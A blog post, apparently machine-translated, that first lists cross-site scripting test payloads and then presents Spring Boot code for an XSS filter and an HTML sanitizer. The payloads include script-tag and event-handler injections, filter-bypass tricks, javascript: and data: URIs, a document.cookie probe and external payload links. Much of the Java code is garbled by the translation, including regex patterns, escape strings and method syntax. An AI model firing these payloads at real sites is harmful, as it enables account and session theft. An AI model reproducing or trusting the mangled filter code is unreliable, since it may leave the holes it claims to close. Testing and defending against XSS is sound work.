This is the second day of my participation in Gwen Challenge

Leak testing

Tidy up 16 common attribute tags and script bugs. Several common cross-site scripting vulnerability security tests, test HTML, can refer to the following

<! DOCTYPEhtml>
<html>
<head>
    <title>Dynamic web requests background data</title>
</head>
<body>
<div>
    input:
    <input type="text" id="in" />
    <button type="submit" id="submit">untreated</button>
    <button type="submit" id="submit2">To deal with</button>
</div>
<br />
<div>
    output:
    <input id="out" />
</div>
<div>
    output2:
    <input id="out2" />
</div>
<div>
    <h1>Ha, ha, ha</h1>
    <p1>sdsad</p1>
</div>
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
<script type="text/javascript">
    $(function() {
        var $submit = $('#submit');
        var $submit2 = $('#submit2');
        $submit.click(function() {
            argv = "assada"
            var http;
            if (window.XMLHttpRequest) {
                xmlhttp = new XMLHttpRequest();
                xmlhttp.onreadystatechange = function () {
                    if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
                        var $input = $('#in');
                        var $output = $('#out');
                        var $output2 = $('#out2');
                        var data = $input.val();
                        var jsoncontent = JSON.parse(xmlhttp.responseText);/* Parses the obtained information into a JSON object */
                        varval = jsoncontent.name; $output.val(val).html(val); }}var url = "http://192.168.1.100/api/v1/test";
                var $input = $('#in');
                var data = $input.val();
                xmlhttp.open("POST", url, true);
                xmlhttp.send(JSON.stringify(
                    {"user": data} )); }}); $submit2.click(function() {
                    argv = "assada"
                    var http;
                    if (window.XMLHttpRequest) {
                        xmlhttp = new XMLHttpRequest();
                        xmlhttp.onreadystatechange = function () {
                            if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
                                var $input = $('#in');
                                var $output = $('#out');
                                var $output2 = $('#out2');
                                var data = $input.val();
                                var jsoncontent = JSON.parse(xmlhttp.responseText);/* Parses the obtained information into a JSON object */
                                varuser = jsoncontent.user; $output2.val(user).html(user); }}var url = "http://192.168.1.100/api/v1/test";
                        var $input = $('#in');
                        var data = $input.val();
                        xmlhttp.open("POST", url, true);
                        xmlhttp.send(JSON.stringify(
                            {"user": data} )); }}); });</script>
</body>
</html>
Copy the code

Routine testing

1. Insert a normal label and test whether it is filtered.

2. Insert a closed label to test whether it will be filtered.

3, test script, test the following content

<script>alert(1); </script><script>prompt(1);</script>
<script>confirm(1);</script>
Copy the code

If you leave something in the middle, try again, as in:

<scRiPt>alert(1); </scrIPt>Copy the code

If you only filter out tags, you can try to bypass them by using the following method

<scr<script>ipt>alert(1)</scr<script>ipt>
Copy the code

4. Test hyperlinks

<a href="http://www.google.com">Clickme</a>
Copy the code

The SRC tags

<img src=x onerror=prompt(2); > <img/src=aaa.jpg onerror=prompt(2); > <video src=x onerror=prompt(2); > <audio src=x onerror=prompt(2); >Copy the code

The iframe label

<iframe src="javascript:alert(3)">
 
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
Copy the code

Embed tags

<embed/src=//goo.gl/nlX0P>
Copy the code

The action attribute

Execute javascript using the action attribute in the <form, < isIndex, etc

<form action="Javascript:alert(5)"><input type=submit> <isindex action="javascript:alert(5)" type=image> <isindex action=j&Tab; a&Tab; vas&Tab; c&Tab; r&Tab; ipt:alert(5) type=image> <isindex action=data:text/html, type=image> <form action='data:text&sol; html,&lt; script&gt; alert(5)&lt/script&gt'><button>CLICKCopy the code

Formaction binds properties

<isindexformaction="javascript:alert(5)"type=image> <input type="image" formaction=JaVaScript:alert(5)> <form><button formaction=javascript&colon; alert(5)>CLICKMECopy the code

The background

<table background=javascript:alert(6) > </table> // Works on Opera 10.5 and IE6Copy the code

Poster attribute

<video poster=javascript:alert(7)//>
Copy the code

The data attribute

<object data="data:text/html; base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
 
<object/data=//goo.gl/nlX0P?
Copy the code

Code attributes

<applet code="javascript:confirm(document.cookie);"> / / Firefox is effective
 
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
Copy the code

Events trigger

<svg/onload=prompt(10); > <marquee/onstart=confirm(10)>/ <body onload=prompt(10); > <select autofocus onfocus=alert(10)> <textarea autofocus onfocus=alert(10)> <keygen autofocus onfocus=alert(10)> <video><source onerror="javascript:alert(1)">Copy the code

Expression attribute

<img style="xss:expression(alert(11))"> / / IE7
 
<div style="color:rgb(''& # 0;x:expression(alert(11))"></div> / / IE7
 
<style>#test{x:expression(alert(/XSS/))}</style> / / IE7
Copy the code

The location attribute

<a onmouseover=location='javascript:alert(12)'>click
 
<body onfocus="loaction='javascript:alert(12)'">123
Copy the code

The script tag

We can close the script tag to insert the code, but again we can just close the double quotes to execute the js code “; alert(13)//

<script>Var x="Input"; </script>Copy the code

href

<a href="javascript:alert(14)//">Click</a>
Copy the code

Json

JSONObject json = null;
json = new JSONObject(); 
json.put("code".200);
json.put("info"."tester");
json.put("msg"."success");
System.out.println(json);
 / / output: {" code ": 200," info ":" tester ", "MSG" : "success"}
/ / if in the info into {' replace ': the function () {alert (/ XSS)}}?
json = new JSONObject();
json.put("code".200);
json.put("info"."{'replace':function(){alert(/xss/)}}");
json.put("msg"."success");
System.out.println(json);
/ / output: {" code ": 200," info ": {" replace" : the function () {alert (/ XSS)}}, "MSG" : "success"}
// When JSONObject outputs a JSON string, info is output as an object, and the embedded replace method is called when js uses the replace method to escape and filter.
[function(){alert(/ XSS /)}] or simply function(){alert(/ XSS /)}
Copy the code

Springboot handles XSS attacks

Introduce the following dependencies

Jsoup is the main one, and I also use the following two here.

<! -- Prevent XSS attacks -->
<dependency>
    <groupId>org.jsoup</groupId>
    <artifactId>jsoup</artifactId>
    <version>1.11.3</version>
</dependency>
<! -- Common Tools -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-lang3</artifactId>
</dependency>
<dependency>
    <groupId>org.junit.platform</groupId>
    <artifactId>junit-platform-commons</artifactId>
</dependency>
Copy the code

FilterConfig

package com.wangscaler.config;
import com.wangscaler.common.xss.XssFilter;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import javax.servlet.DispatcherType;
import java.util.HashMap;
import java.util.Map;

/** * Set cross-site script filtering */
@Configuration
public class FilterConfig {
    @Value("${xss.enabled}")
    private String enabled;

    @Value("${xss.excludes}")
    private String excludes;

    @Value("${xss.urlPatterns}")
    private String urlPatterns;

    @Bean
    public FilterRegistrationBean xssFilterRegistration(a){
        FilterRegistrationBean registrationBean = new FilterRegistrationBean();
        registrationBean.setDispatcherTypes(DispatcherType.REQUEST);
        registrationBean.setFilter(new XssFilter());
        registrationBean.addUrlPatterns(StringUtils.split(urlPatterns,","));
        registrationBean.setName("XssFilter");
        registrationBean.setOrder(9999);
        Map<String,String> initParameters = new HashMap<>();
        initParameters.put("excludes",excludes);
        initParameters.put("enabled",enabled);
        registrationBean.setInitParameters(initParameters);
        returnregistrationBean; }}Copy the code

XssFilter

package com.wangscaler.common.xss;

import com.zytech.util.StringUtils;

import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/** * Filters to prevent XSS attacks **@author wangscaler
 */
public class XssFilter implements Filter
{
    /** * exclude links */
    public List<String> excludes = new ArrayList<>();

    /**
     * xss过滤开关
     */
    public boolean enabled = false;

    @Override
    public void init(FilterConfig filterConfig) throws ServletException
    {
        String tempExcludes = filterConfig.getInitParameter("excludes");
        String tempEnabled = filterConfig.getInitParameter("enabled");
        if (StringUtils.isNotEmpty(tempExcludes))
        {
            String[] url = tempExcludes.split(",");
            for (int i = 0; url ! =null&& i < url.length; i++) { excludes.add(url[i]); }}if(StringUtils.isNotEmpty(tempEnabled)) { enabled = Boolean.valueOf(tempEnabled); }}@Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException
    {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        if (handleExcludeURL(req, resp))
        {
            chain.doFilter(request, response);
            return;
        }
        XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest) request);
        chain.doFilter(xssRequest, response);
    }

    private boolean handleExcludeURL(HttpServletRequest request, HttpServletResponse response)
    {
        if(! enabled) {return true;
        }
        if (excludes == null || excludes.isEmpty())
        {
            return false;
        }
        String url = request.getServletPath();
        for (String pattern : excludes)
        {
            Pattern p = Pattern.compile("^" + pattern);
            Matcher m = p.matcher(url);
            if (m.find())
            {
                return true; }}return false;
    }

    @Override
    public void destroy(a)
    {}}Copy the code

XssHttpServletRequestWrapper

package com.wangscaler.common.xss;

import com.zytech.util.EscapeUtil;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;

/** * XSS filter **@author ruoyi
 */
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper
{
    / * * *@param request
     */
    public XssHttpServletRequestWrapper(HttpServletRequest request)
    {
        super(request);
    }

    @Override
    public String[] getParameterValues(String name)
    {
        String[] values = super.getParameterValues(name);
        if(values ! =null)
        {
            int length = values.length;
            String[] escapseValues = new String[length];
            for (int i = 0; i < length; i++)
            {
                // Prevent XSS attacks and filter Spaces before and after
                escapseValues[i] = EscapeUtil.clean(values[i]).trim();
            }
            return escapseValues;
        }
        return super.getParameterValues(name); }}Copy the code

EscapeUtil

package com.wangscaler.util;


import com.zytech.common.xss.HTMLFilter;

/** * Escape and unescape utility classes **@author WangScaler
 */
public class EscapeUtil
{
    public static final String RE_HTML_MARK = "[^ (< <] *? >)|(<[\\s]*? / [^ <] *? >) | (< / ^ < *? /[\\s]*? >)";

    private static final char[][] TEXT = new char[64] [];static
    {
        for (int i = 0; i < 64; i++)
        {
            TEXT[i] = new char[] {(char) i };
        }

        // special HTML characters
        TEXT['\' '] = "The & # 039;".toCharArray(); / / single quotation marks
        TEXT['"'] = "& # 34;".toCharArray(); / / single quotation marks
        TEXT['&'] = "& # 38;".toCharArray(); / / & operator
        TEXT['<'] = "& # 60;".toCharArray(); / / is less than the number
        TEXT['>'] = "The & # 62;".toCharArray(); / / is greater than the number
    }

    /** * Escape HTML characters in text as safe characters **@paramText Escaped text *@returnEscaped text */
    public static String escape(String text)
    {
        return encode(text);
    }

    /** * Restores the escaped HTML special character **@paramContent The HTML content that contains the escape character *@returnThe converted string */
    public static String unescape(String content)
    {
        return decode(content);
    }

    /** * Clears all HTML tags, but does not delete the contents of the tags **@paramThe content of text *@returnClear the text */ after the label
    public static String clean(String content)
    {
        return new HTMLFilter().filter(content);
    }

    /** * Escape code **@paramText Encoded text *@returnThe encoded character */
    private static String encode(String text)
    {
        int len;
        if ((text == null) || ((len = text.length()) == 0))
        {
            return StringUtils.EMPTY;
        }
        StringBuilder buffer = new StringBuilder(len + (len >> 2));
        char c;
        for (int i = 0; i < len; i++)
        {
            c = text.charAt(i);
            if (c < 64)
            {
                buffer.append(TEXT[c]);
            }
            else{ buffer.append(c); }}return buffer.toString();
    }

    /** * Escape decodes **@paramContent Escaped content *@returnDecoded string */
    public static String decode(String content)
    {
        if (StringUtils.isEmpty(content))
        {
            return content;
        }

        StringBuilder tmp = new StringBuilder(content.length());
        int lastPos = 0, pos = 0;
        char ch;
        while (lastPos < content.length())
        {
            pos = content.indexOf("%", lastPos);
            if (pos == lastPos)
            {
                if (content.charAt(pos + 1) = ='u')
                {
                    ch = (char) Integer.parseInt(content.substring(pos + 2, pos + 6), 16);
                    tmp.append(ch);
                    lastPos = pos + 6;
                }
                else
                {
                    ch = (char) Integer.parseInt(content.substring(pos + 1, pos + 3), 16);
                    tmp.append(ch);
                    lastPos = pos + 3; }}else
            {
                if (pos == -1)
                {
                    tmp.append(content.substring(lastPos));
                    lastPos = content.length();
                }
                else{ tmp.append(content.substring(lastPos, pos)); lastPos = pos; }}}return tmp.toString();
    }

    public static void main(String[] args)
    {
        String html = "";
        // String html = "<scr<script>ipt>alert(\"XSS\")</scr<script>ipt>";
        // String html = "<123";System.out.println(EscapeUtil.clean(html)); System.out.println(EscapeUtil.escape(html)); System.out.println(EscapeUtil.unescape(html)); }}Copy the code

HTMLFilter

package com.wangscaler.common.xss;

import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

/** * HTML filter, used to remove XSS vulnerabilities. * *@author WangScaler
 */
public final class HTMLFilter
{
    /** * regex flag union representing /si modifiers in php **/
    private static final int REGEX_FLAGS_SI = Pattern.CASE_INSENSITIVE | Pattern.DOTALL;
    private static final Pattern P_COMMENTS = Pattern.compile("<! - (. *?) -- -- >", Pattern.DOTALL);
    private static final Pattern P_COMMENT = Pattern.compile("^! - (. *) - $", REGEX_FLAGS_SI);
    private static final Pattern P_TAGS = Pattern.compile("" (. *?) >", Pattern.DOTALL);
    private static final Pattern P_END_TAG = Pattern.compile("^/([a-z0-9]+)", REGEX_FLAGS_SI);
    private static final Pattern P_START_TAG = Pattern.compile("^([a-z0-9]+)(.*?) (/)? $", REGEX_FLAGS_SI);
    private static final Pattern P_QUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)=([\"'])(.*?) 2 \ \", REGEX_FLAGS_SI);
    private static final Pattern P_UNQUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)(=)([^\"\\s']+)", REGEX_FLAGS_SI);
    private static final Pattern P_PROTOCOL = Pattern.compile("^ ([^ :] +) :", REGEX_FLAGS_SI);
    private static final Pattern P_ENTITY = Pattern.compile("&#(\\d+); ?");
    private static final Pattern P_ENTITY_UNICODE = Pattern.compile("&#x([0-9a-f]+); ?");
    private static final Pattern P_ENCODE = Pattern.compile("%([0-9a-f]{2}); ?");
    private static final Pattern P_VALID_ENTITIES = Pattern.compile("& ([^ &;] (*)? = (. | & | $))");
    private static final Pattern P_VALID_QUOTES = Pattern.compile("(> | ^) ([^ <] +?) (< | $)", Pattern.DOTALL);
    private static final Pattern P_END_ARROW = Pattern.compile("^ >");
    // private static final Pattern P_BODY_TO_END = Pattern.compile("<([^>]*?)(?=<|$)");
    private static final Pattern P_XML_CONTENT = Pattern.compile("(^ | >) ([^ <] *?) (? = >)");
    private static final Pattern P_STRAY_LEFT_ARROW = Pattern.compile("< ([^ >] *?) (? = < | $)");
    private static final Pattern P_STRAY_RIGHT_ARROW = Pattern.compile("(^ | >) ([^ <] *?) (? = >)");
    private static final Pattern P_AMP = Pattern.compile("&");
    private static final Pattern P_QUOTE = Pattern.compile("\" ");
    private static final Pattern P_LEFT_ARROW = Pattern.compile("<");
    private static final Pattern P_RIGHT_ARROW = Pattern.compile(">");
    private static final Pattern P_BOTH_ARROWS = Pattern.compile("< >");

    // @xxx could grow large... maybe use sesat's ReferenceMap
    private static final ConcurrentMap<String, Pattern> P_REMOVE_PAIR_BLANKS = new ConcurrentHashMap<>();
    private static final ConcurrentMap<String, Pattern> P_REMOVE_SELF_BLANKS = new ConcurrentHashMap<>();

    /** * set of allowed html elements, along with allowed attributes for each element **/
    private final Map<String, List<String>> vAllowed;
    /** * counts of open tags for each (allowable) html element **/
    private final Map<String, Integer> vTagCounts = new HashMap<>();

    /** * html elements which must always be self-closing (e.g. "") **/
    private final String[] vSelfClosingTags;
    /** * html elements which must always have separate opening and closing tags (e.g. "") **/
    private final String[] vNeedClosingTags;
    /** * set of disallowed html elements **/
    private final String[] vDisallowed;
    /** * attributes which should be checked for valid protocols **/
    private final String[] vProtocolAtts;
    /** * allowed protocols **/
    private final String[] vAllowedProtocols;
    /** * tags which should be removed if they contain no content (e.g. "" or "") **/
    private final String[] vRemoveBlanks;
    /** * entities allowed within html markup **/
    private final String[] vAllowedEntities;
    /** * flag determining whether comments are allowed in input String. */
    private final boolean stripComment;
    private final boolean encodeQuotes;
    /** * flag determining whether to try to make tags when presented with "unbalanced" angle brackets (e.g. "" * becomes " text "). If set to false, unbalanced angle brackets will be html escaped. */
    private final boolean alwaysMakeTags;

    /** * Default constructor. */
    public HTMLFilter(a)
    {
        vAllowed = new HashMap<>();

        final ArrayList<String> a_atts = new ArrayList<>();
        a_atts.add("href");
        a_atts.add("target");
        vAllowed.put("a", a_atts);

        final ArrayList<String> img_atts = new ArrayList<>();
        img_atts.add("src");
        img_atts.add("width");
        img_atts.add("height");
        img_atts.add("alt");
        vAllowed.put("img", img_atts);

        final ArrayList<String> no_atts = new ArrayList<>();
        vAllowed.put("b", no_atts);
        vAllowed.put("strong", no_atts);
        vAllowed.put("i", no_atts);
        vAllowed.put("em", no_atts);

        vSelfClosingTags = new String[] { "img" };
        vNeedClosingTags = new String[] { "a"."b"."strong"."i"."em" };
        vDisallowed = new String[] {};
        vAllowedProtocols = new String[] { "http"."mailto"."https" }; // no ftp.
        vProtocolAtts = new String[] { "src"."href" };
        vRemoveBlanks = new String[] { "a"."b"."strong"."i"."em" };
        vAllowedEntities = new String[] { "amp"."gt"."lt"."quot" };
        stripComment = true;
        encodeQuotes = true;
        alwaysMakeTags = true;
    }

    /**
     * Map-parameter configurable constructor.
     *
     * @param conf map containing configuration. keys match field names.
     */
    @SuppressWarnings("unchecked")
    public HTMLFilter(final Map<String, Object> conf)
    {

        assert conf.containsKey("vAllowed") : "configuration requires vAllowed";
        assert conf.containsKey("vSelfClosingTags") : "configuration requires vSelfClosingTags";
        assert conf.containsKey("vNeedClosingTags") : "configuration requires vNeedClosingTags";
        assert conf.containsKey("vDisallowed") : "configuration requires vDisallowed";
        assert conf.containsKey("vAllowedProtocols") : "configuration requires vAllowedProtocols";
        assert conf.containsKey("vProtocolAtts") : "configuration requires vProtocolAtts";
        assert conf.containsKey("vRemoveBlanks") : "configuration requires vRemoveBlanks";
        assert conf.containsKey("vAllowedEntities") : "configuration requires vAllowedEntities";

        vAllowed = Collections.unmodifiableMap((HashMap<String, List<String>>) conf.get("vAllowed"));
        vSelfClosingTags = (String[]) conf.get("vSelfClosingTags");
        vNeedClosingTags = (String[]) conf.get("vNeedClosingTags");
        vDisallowed = (String[]) conf.get("vDisallowed");
        vAllowedProtocols = (String[]) conf.get("vAllowedProtocols");
        vProtocolAtts = (String[]) conf.get("vProtocolAtts");
        vRemoveBlanks = (String[]) conf.get("vRemoveBlanks");
        vAllowedEntities = (String[]) conf.get("vAllowedEntities");
        stripComment = conf.containsKey("stripComment")? (Boolean) conf.get("stripComment") : true;
        encodeQuotes = conf.containsKey("encodeQuotes")? (Boolean) conf.get("encodeQuotes") : true;
        alwaysMakeTags = conf.containsKey("alwaysMakeTags")? (Boolean) conf.get("alwaysMakeTags") : true;
    }

    private void reset(a)
    {
        vTagCounts.clear();
    }

    // ---------------------------------------------------------------
    // my versions of some PHP library functions
    public static String chr(final int decimal)
    {
        return String.valueOf((char) decimal);
    }

    public static String htmlSpecialChars(final String s)
    {
        String result = s;
        result = regexReplace(P_AMP, "&amp;", result);
        result = regexReplace(P_QUOTE, "&quot;", result);
        result = regexReplace(P_LEFT_ARROW, "&lt;", result);
        result = regexReplace(P_RIGHT_ARROW, "&gt;", result);
        return result;
    }

    // ---------------------------------------------------------------

    /**
     * given a user submitted input String, filter out any invalid or restricted html.
     *
     * @param input text (i.e. submitted by a user) than may contain html
     * @return "clean" version of input, with only valid, whitelisted html elements allowed
     */
    public String filter(final String input)
    {
        reset();
        String s = input;

        s = escapeComments(s);

        s = balanceHTML(s);

        s = checkTags(s);

        s = processRemoveBlanks(s);

        s = validateEntities(s);

        return s;
    }

    public boolean isAlwaysMakeTags(a)
    {
        return alwaysMakeTags;
    }

    public boolean isStripComments(a)
    {
        return stripComment;
    }

    private String escapeComments(final String s)
    {
        final Matcher m = P_COMMENTS.matcher(s);
        final StringBuffer buf = new StringBuffer();
        if (m.find())
        {
            final String match = m.group(1); / / (. *?)
            m.appendReplacement(buf, Matcher.quoteReplacement("<!--" + htmlSpecialChars(match) + "-- >"));
        }
        m.appendTail(buf);

        return buf.toString();
    }

    private String balanceHTML(String s)
    {
        if (alwaysMakeTags)
        {
            //
            // try and form html
            //
            s = regexReplace(P_END_ARROW, "", s);
            // No end tag is appended
            // s = regexReplace(P_BODY_TO_END, "<$1>", s);
            s = regexReplace(P_XML_CONTENT, "$1" $2", s);

        }
        else
        {
            //
            // escape stray brackets
            //
            s = regexReplace(P_STRAY_LEFT_ARROW, "< The $1", s);
            s = regexReplace(P_STRAY_RIGHT_ARROW, "$1$2> <", s);

            //
            // the last regexp causes '<>' entities to appear
            // (we need to do a lookahead assertion so that the last bracket can
            // be used in the next pass of the regexp)
            //
            s = regexReplace(P_BOTH_ARROWS, "", s);
        }

        return s;
    }

    private String checkTags(String s)
    {
        Matcher m = P_TAGS.matcher(s);

        final StringBuffer buf = new StringBuffer();
        while (m.find())
        {
            String replaceStr = m.group(1);
            replaceStr = processTag(replaceStr);
            m.appendReplacement(buf, Matcher.quoteReplacement(replaceStr));
        }
        m.appendTail(buf);

        // these get tallied in processTag
        // (remember to reset before subsequent calls to filter method)
        final StringBuilder sBuilder = new StringBuilder(buf.toString());
        for (String key : vTagCounts.keySet())
        {
            for (int ii = 0; ii < vTagCounts.get(key); ii++)
            {
                sBuilder.append("< /").append(key).append(">");
            }
        }
        s = sBuilder.toString();

        return s;
    }

    private String processRemoveBlanks(final String s)
    {
        String result = s;
        for (String tag : vRemoveBlanks)
        {
            if(! P_REMOVE_PAIR_BLANKS.containsKey(tag)) { P_REMOVE_PAIR_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)? > < /" + tag + ">"));
            }
            result = regexReplace(P_REMOVE_PAIR_BLANKS.get(tag), "", result);
            if(! P_REMOVE_SELF_BLANKS.containsKey(tag)) { P_REMOVE_SELF_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)? / >"));
            }
            result = regexReplace(P_REMOVE_SELF_BLANKS.get(tag), "", result);
        }

        return result;
    }

    private static String regexReplace(final Pattern regex_pattern, final String replacement, final String s)
    {
        Matcher m = regex_pattern.matcher(s);
        return m.replaceAll(replacement);
    }

    private String processTag(final String s)
    {
        // ending tags
        Matcher m = P_END_TAG.matcher(s);
        if (m.find())
        {
            final String name = m.group(1).toLowerCase();
            if (allowed(name))
            {
                if (false == inArray(name, vSelfClosingTags))
                {
                    if (vTagCounts.containsKey(name))
                    {
                        vTagCounts.put(name, vTagCounts.get(name) - 1);
                        return "< /" + name + ">"; }}}}// starting tags
        m = P_START_TAG.matcher(s);
        if (m.find())
        {
            final String name = m.group(1).toLowerCase();
            final String body = m.group(2);
            String ending = m.group(3);

            // debug( "in a starting tag, name='" + name + "'; body='" + body + "'; ending='" + ending + "'" );
            if (allowed(name))
            {
                final StringBuilder params = new StringBuilder();

                final Matcher m2 = P_QUOTED_ATTRIBUTES.matcher(body);
                final Matcher m3 = P_UNQUOTED_ATTRIBUTES.matcher(body);
                final List<String> paramNames = new ArrayList<>();
                final List<String> paramValues = new ArrayList<>();
                while (m2.find())
                {
                    paramNames.add(m2.group(1)); // ([a-z0-9]+)
                    paramValues.add(m2.group(3)); / / (. *?)
                }
                while (m3.find())
                {
                    paramNames.add(m3.group(1)); // ([a-z0-9]+)
                    paramValues.add(m3.group(3)); // ([^\"\\s']+)
                }

                String paramName, paramValue;
                for (int ii = 0; ii < paramNames.size(); ii++)
                {
                    paramName = paramNames.get(ii).toLowerCase();
                    paramValue = paramValues.get(ii);

                    // debug( "paramName='" + paramName + "'" );
                    // debug( "paramValue='" + paramValue + "'" );
                    // debug( "allowed? " + vAllowed.get( name ).contains( paramName ) );

                    if (allowedAttribute(name, paramName))
                    {
                        if (inArray(paramName, vProtocolAtts))
                        {
                            paramValue = processParamProtocol(paramValue);
                        }
                        params.append(' ').append(paramName).append("= \" ").append(paramValue).append("\" "); }}if (inArray(name, vSelfClosingTags))
                {
                    ending = "/";
                }

                if (inArray(name, vNeedClosingTags))
                {
                    ending = "";
                }

                if (ending == null || ending.length() < 1)
                {
                    if (vTagCounts.containsKey(name))
                    {
                        vTagCounts.put(name, vTagCounts.get(name) + 1);
                    }
                    else
                    {
                        vTagCounts.put(name, 1); }}else
                {
                    ending = "/";
                }
                return "<" + name + params + ending + ">";
            }
            else
            {
                return ""; }}// comments
        m = P_COMMENT.matcher(s);
        if(! stripComment && m.find()) {return "<" + m.group() + ">";
        }

        return "";
    }

    private String processParamProtocol(String s)
    {
        s = decodeEntities(s);
        final Matcher m = P_PROTOCOL.matcher(s);
        if (m.find())
        {
            final String protocol = m.group(1);
            if(! inArray(protocol, vAllowedProtocols)) {// bad protocol, turn into local anchor link instead
                s = "#" + s.substring(protocol.length() + 1);
                if (s.startsWith(# "/ /"))
                {
                    s = "#" + s.substring(3); }}}return s;
    }

    private String decodeEntities(String s)
    {
        StringBuffer buf = new StringBuffer();

        Matcher m = P_ENTITY.matcher(s);
        while (m.find())
        {
            final String match = m.group(1);
            final int decimal = Integer.decode(match).intValue();
            m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal)));
        }
        m.appendTail(buf);
        s = buf.toString();

        buf = new StringBuffer();
        m = P_ENTITY_UNICODE.matcher(s);
        while (m.find())
        {
            final String match = m.group(1);
            final int decimal = Integer.valueOf(match, 16).intValue();
            m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal)));
        }
        m.appendTail(buf);
        s = buf.toString();

        buf = new StringBuffer();
        m = P_ENCODE.matcher(s);
        while (m.find())
        {
            final String match = m.group(1);
            final int decimal = Integer.valueOf(match, 16).intValue();
            m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal)));
        }
        m.appendTail(buf);
        s = buf.toString();

        s = validateEntities(s);
        return s;
    }

    private String validateEntities(final String s)
    {
        StringBuffer buf = new StringBuffer();

        // validate entities throughout the string
        Matcher m = P_VALID_ENTITIES.matcher(s);
        while (m.find())
        {
            final String one = m.group(1); / / / ^ &; *)
            final String two = m.group(2); / / (? = (. | & | $))
            m.appendReplacement(buf, Matcher.quoteReplacement(checkEntity(one, two)));
        }
        m.appendTail(buf);

        return encodeQuotes(buf.toString());
    }

    private String encodeQuotes(final String s)
    {
        if (encodeQuotes)
        {
            StringBuffer buf = new StringBuffer();
            Matcher m = P_VALID_QUOTES.matcher(s);
            while (m.find())
            {
                final String one = m.group(1); / / (> | ^)
                final String two = m.group(2); / / ([^ <] +)?
                final String three = m.group(3); / / (< | $)
                // Do not replace double quotes with "; To prevent json format from invalid regexReplace(P_QUOTE, ""; , two)
                m.appendReplacement(buf, Matcher.quoteReplacement(one + two + three));
            }
            m.appendTail(buf);
            return buf.toString();
        }
        else
        {
            returns; }}private String checkEntity(final String preamble, final String term)
    {

        return ";".equals(term) && isValidEntity(preamble) ? '&' + preamble : "&amp;" + preamble;
    }

    private boolean isValidEntity(final String entity)
    {
        return inArray(entity, vAllowedEntities);
    }

    private static boolean inArray(final String s, final String[] array)
    {
        for (String item : array)
        {
            if(item ! =null && item.equals(s))
            {
                return true; }}return false;
    }

    private boolean allowed(final String name)
    {
        return(vAllowed.isEmpty() || vAllowed.containsKey(name)) && ! inArray(name, vDisallowed); }private boolean allowedAttribute(final String name, final String paramName)
    {
        returnallowed(name) && (vAllowed.isEmpty() || vAllowed.get(name).contains(paramName)); }}Copy the code

StringUtils

package com.wangscaler.util;
import cn.hutool.core.text.StrFormatter;
import java.util.Collection;
import java.util.Map;

/** * string utility class **@author WangScaler
 */
public class StringUtils extends org.apache.commons.lang3.StringUtils
{
    /** Empty string */
    private static final String NULLSTR = "";

    /** underline */
    private static final char SEPARATOR = '_';

    /** * The parameter is not null **@paramValue defaultValue Value to be determined *@returnValue Returns the value */
    public static <T> T nvl(T value, T defaultValue)
    {
        returnvalue ! =null ? value : defaultValue;
    }

    /** ** Checks if a Collection is empty, including List, Set, Queue **@paramColl to judge the Collection *@returnTrue: empty false: not empty */
    public static boolean isEmpty(Collection
        coll)
    {
        return isNull(coll) || coll.isEmpty();
    }

    /** ** Checks whether a Collection is non-empty, including List, Set, Queue **@paramColl to judge the Collection *@returnTrue: not empty false: empty */
    public static boolean isNotEmpty(Collection
        coll)
    {
        return! isEmpty(coll); }/** ** Determines whether an array of objects is empty **@paramObjects The array of objects to determine@returnTrue: empty false: not empty */
    public static boolean isEmpty(Object[] objects)
    {
        return isNull(objects) || (objects.length == 0);
    }

    /** ** Determines whether an array of objects is not empty **@paramObjects Array of objects to determine@returnTrue: not empty false: empty */
    public static boolean isNotEmpty(Object[] objects)
    {
        return! isEmpty(objects); }/** ** Checks whether a Map is empty **@paramMap Indicates the map * to be determined@returnTrue: empty false: not empty */
    public static boolean isEmpty(Map
        map)
    {
        return isNull(map) || map.isEmpty();
    }

    /** ** Checks whether a Map is empty **@paramMap Indicates the map * to be determined@returnTrue: not empty false: empty */
    public static boolean isNotEmpty(Map
        map)
    {
        return! isEmpty(map); }/** ** determines whether a string is an empty string **@param str String
     * @returnTrue: empty false: not empty */
    public static boolean isEmpty(String str)
    {
        return isNull(str) || NULLSTR.equals(str.trim());
    }

    /** ** determines whether a string is a non-empty string **@param str String
     * @returnTrue: non-empty string False: empty string */
    public static boolean isNotEmpty(String str)
    {
        return! isEmpty(str); }/** ** Determines whether an object is empty **@param object Object
     * @returnTrue: empty false: not empty */
    public static boolean isNull(Object object)
    {
        return object == null;
    }

    /** ** Determines whether an object is non-empty **@param object Object
